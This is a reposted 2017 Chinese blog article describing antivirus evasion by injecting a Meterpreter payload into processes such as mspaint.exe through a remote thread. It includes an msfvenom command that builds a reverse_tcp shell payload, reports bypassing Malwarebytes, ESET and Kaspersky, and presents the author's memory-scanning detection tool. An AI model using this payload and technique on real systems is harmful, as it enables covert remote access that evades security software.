博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
免杀新姿势:利用线程将恶意代码注入到内存中
阅读量:5952 次
发布时间:2019-06-19

本文共 1655 字,大约阅读时间需要 5 分钟。

本文讲的是
免杀新姿势:利用线程将恶意代码注入到内存中
产生存放远程攻击线程的进程

在这篇文章中我不想一步一步解释我编写的C#代码,但是我会展示下它能够绕过杀毒软件,并且操作非常简单,而且实用。

首先说明一下:

1. 我是在三年前发现这个攻击方法的,当我在做免杀的时候我发现了很多都是以0x0地址开始的进程。在我的win7系统中这种恶意代码绕过了我的杀毒软件,只是在内存中可以找到,然后以系统权限运行。所以,当然是NSA干的咯!2. 这并不意味着以0x0开始的进程都是进行恶意注入的。

就像刚才所说,我不会将我的”NativePayload_Tinjection.exe”代码分享出来,不过我会阐述下如何在C++,C#或者其他语言如何进行编写攻击poc。

下图中你可以看到当远程进程加载时发生了什么事情,他已经一步一步的展示出来。并且你可以使用C#或者其他语言提供的windowsAPI很简单的实现。

免杀新姿势:利用线程将恶意代码注入到内存中

上图中的”evil.dll”是我们通过msfvenom生成的攻击载荷,在kali linux中可以使用以下命令:

Msfvenom –platform windows –arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=w.x.y.z -f c > payload.txt

下一步骤就是将生成的payload通过新的线程注入到另外一个新的进程中去连接远程主机。

我接下来会将我写的代码进行免杀测试,使用最新的杀毒软件。我采用的实验环境是“Win 8.1”,杀毒软件有:“Malwarebytes”、“ESET”、“Kaspersky”。接下来你可以看到,我是怎么简单绕过这三个杀毒软件。

实验一:测试Malwarebyte3.1.2 版本

通过注入线程,我们可以绕过杀软。在这个环境下,我的meterpreter payload通过TID为4268的线程注入到PID为2492的进程,名叫mspaint.exe中。

免杀新姿势:利用线程将恶意代码注入到内存中

就像你在上图看到,当产生meterpreter 会话进程之后会在受害机中产生mspaint.exe进程。同时也可以发现TID为4268的线程开始地址为0X0。如果你结束掉TID 4268的线程,那么meterpreter会话就会立马结束。

实验二:测试ESET-Nod3210.1.204.0版本

下图中你可以看到,ESET已经更新到了最近版本”20170516”,不过并没有什么用,我同样将meterpreter攻击载荷通过TID 3932线程注入到了PID为3168的notepad进程中。

免杀新姿势:利用线程将恶意代码注入到内存中

实验三:测试Kaspersky v17版本

同样,Kaspersky已经是最新版本v17.0.0.611,漏洞库为”20170516”。不过同样被绕过了。meterpreter通过TID 2932线程注入到了PID为1200进程中.

免杀新姿势:利用线程将恶意代码注入到内存中

实验3-1:Kaspersky internet security v17 漏洞库05182017版本

同样被绕过了,即使杀毒软件显示:您的电脑正在被保护。

免杀新姿势:利用线程将恶意代码注入到内存中

那么如何检测这种攻击呢?

我自己写了一个软件”Meterpreter_Payload_Detection.exe”,它会在内存识别meterpreter签名,进而发现后门,然后清除。

在下图中你可后门发现绕过ESET-Nod32杀毒软件之后,会被Meterpreter_Payload_Detection.exe拦截。所以个人感觉杀毒软件在内存扫描这一方面做的不是很完备。

免杀新姿势:利用线程将恶意代码注入到内存中

上图中,你可以在我软件的界面找到注入到内存的进程,即PID为2116的进程,以及TID为2820的线程。

红颜色字体展示了在内存中扫描签名,当然这也许不是最好的方法检测恶意软件,但是到现在为止,这个工具针对内存检测做的比现有的杀毒软件要好。

原文发布时间为:2017年5月19日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

转载地址:http://nnpxx.baihongyu.com/

你可能感兴趣的文章